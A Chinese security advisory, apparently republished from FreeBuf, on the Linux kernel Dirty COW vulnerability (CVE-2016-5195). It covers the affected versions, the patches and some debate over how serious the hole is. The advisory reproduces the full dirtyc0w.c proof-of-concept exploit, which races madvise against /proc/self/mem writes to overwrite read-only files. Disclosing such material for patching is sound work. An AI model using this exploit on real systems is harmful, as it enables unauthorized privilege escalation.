• 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞


    这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。

    40909837664.jpg

    漏洞编号:

    CVE-2016-5195

    漏洞名称:

    Dirty COW

    漏洞危害:

    低权限用户利用该漏洞可以在众多Linux系统上实现本地提权

    影响范围:

    Linux kernel >= 2.6.22(2007年发行,到今年10月18日才修复)

    漏洞概述:

    该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)

    竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

    根据官方发布的补丁信息,这个问题可以追溯到2007年发布的Linux内核。现在还没有任何证据表明,2007年后是否有黑客利用了这个漏洞。不过安全专家Phil Oester称发现一名攻击者利用该漏洞部署攻击,并向Red Hat通报了最近的攻击事件。

    修复方法:

    进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4 LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞。目前新版本已经登录各GNU/Linux发行版库,包括Arch Linux(测试中)、Solus和所有受支持版本的Ubuntu。Debian开发人员前天也宣布稳定版Debian GNU/Linux 8 “Jessei”系列内核重要更新——本次更新总共修复4个Linux内核安全漏洞,其中也包括了脏牛。

    各操作系统供应商应该即刻下载Linux kernel 4.8.3、Linux kernel 4.7.9和Linux kernel 4.4.26 LTS,为用户提供稳定版渠道更新。

    软件开发人员可以通过 https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

    漏洞POC:

    /*
    
    ####################### dirtyc0w.c #######################
    
    $ sudo -s
    
    # echo this is not a test > foo
    
    # chmod 0404 foo
    
    $ ls -lah foo
    
    -r-----r-- 1 root root 19 Oct 20 15:23 foo
    
    $ cat foo
    
    this is not a test
    
    $ gcc -lpthread dirtyc0w.c -o dirtyc0w
    
    $ ./dirtyc0w foo m00000000000000000
    
    mmap 56123000
    
    madvise 0
    
    procselfmem 1800000000
    
    $ cat foo
    
    m00000000000000000
    
    ####################### dirtyc0w.c #######################
    
    */
    
    #include <stdio.h>
    
    #include <sys/mman.h>
    
    #include <fcntl.h>
    
    #include <pthread.h>
    
    #include <string.h>
    
     
    
    void *map;
    
    int f;
    
    struct stat st;
    
    char *name;
    
     
    
    void *madviseThread(void *arg)
    
    {
    
      char *str;
    
      str=(char*)arg;
    
      int i,c=0;
    
      for(i=0;i<100000000;i++)
    
      {
    
    /*
    
    You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
    
    > This is achieved by racing the madvise(MADV_DONTNEED) system call
    
    > while having the page of the executable mmapped in memory.
    
    */
    
        c+=madvise(map,100,MADV_DONTNEED);
    
      }
    
      printf("madvise %d
    
    ",c);
    
    }
    
     
    
    void *procselfmemThread(void *arg)
    
    {
    
      char *str;
    
      str=(char*)arg;
    
    /*
    
    You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
    
    >  The in the wild exploit we are aware of doesn't work on Red Hat
    
    >  Enterprise Linux 5 and 6 out of the box because on one side of
    
    >  the race it writes to /proc/self/mem, but /proc/self/mem is not
    
    >  writable on Red Hat Enterprise Linux 5 and 6.
    
    */
    
      int f=open("/proc/self/mem",O_RDWR);
    
      int i,c=0;
    
      for(i=0;i<100000000;i++) {
    
    /*
    
    You have to reset the file pointer to the memory position.
    
    */
    
        lseek(f,map,SEEK_SET);
    
        c+=write(f,str,strlen(str));
    
      }
    
      printf("procselfmem %d
    
    ", c);
    
    }
    
     
    
     
    
    int main(int argc,char *argv[])
    
    {
    
    /*
    
    You have to pass two arguments. File and Contents.
    
    */
    
      if (argc<3)return 1;
    
      pthread_t pth1,pth2;
    
    /*
    
    You have to open the file in read only mode.
    
    */
    
      f=open(argv[1],O_RDONLY);
    
      fstat(f,&st);
    
      name=argv[1];
    
    /*
    
    You have to use MAP_PRIVATE for copy-on-write mapping.
    
    > Create a private copy-on-write mapping.  Updates to the
    
    > mapping are not visible to other processes mapping the same
    
    > file, and are not carried through to the underlying file.  It
    
    > is unspecified whether changes made to the file after the
    
    > mmap() call are visible in the mapped region.
    
    */
    
    /*
    
    You have to open with PROT_READ.
    
    */
    
      map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
    
      printf("mmap %x
    
    ",map);
    
    /*
    
    You have to do it on two threads.
    
    */
    
      pthread_create(&pth1,NULL,madviseThread,argv[1]);
    
      pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
    
    /*
    
    You have to wait for the threads to finish.
    
    */
    
      pthread_join(pth1,NULL);
    
      pthread_join(pth2,NULL);
    
      return 0;
    
    }
    

      

    安全公司高估了“脏牛”的威胁?

    虽然这个漏洞今天占据了各大安全媒体的头条,但实际上它对Linux生态系统可能并没有构成致命威胁,当然用户还是应该及时更新系统。

    发现该漏洞的安全研究人员认为,某些安全公司过度夸大了这个漏洞的危害——为了嘲讽了那些夸大此漏洞的人,他们特别为“脏牛”做了logo和主页,设了推特账户,还开了个网店,店里的电脑包售价仅在1.71万美元(上万了呢),上面有脏牛的LOGO哦,算是相当有诚意的周边。

    COW.jpg

    话虽如此,“脏牛”漏洞构成的威胁还是真实存在的。在接受V3的采访时,Oester披露,有攻击者上传并执行CVE-2016-5195漏洞利用,攻击了他管理的某个网站。Oester表示:“这个漏洞年代久远,可以影响到许多年前发布的Linux内核。所有Linux用户都应严肃对待这个漏洞,及时修复系统。”

    * 漏洞盒子安全团队发布,转载请注明来自FreeBuf(FreeBuf.COM)

  • 相关阅读:
    大型网站架构不得不考虑的10个问题
    js中settimeout方法加参数
    shell字符串操作详解
    linux shell 逻辑运算符、逻辑表达式
    c#判断网络连接状态示例代码
    asp.net读取excel文件多种方法
    asp.net导出excel示例代码
    php 数组排序代码
    php数组去重复代码
    php反射应用实例代码
  • 原文地址:https://www.cnblogs.com/beautiful-code/p/9439137.html
Copyright © 2020-2023  润新知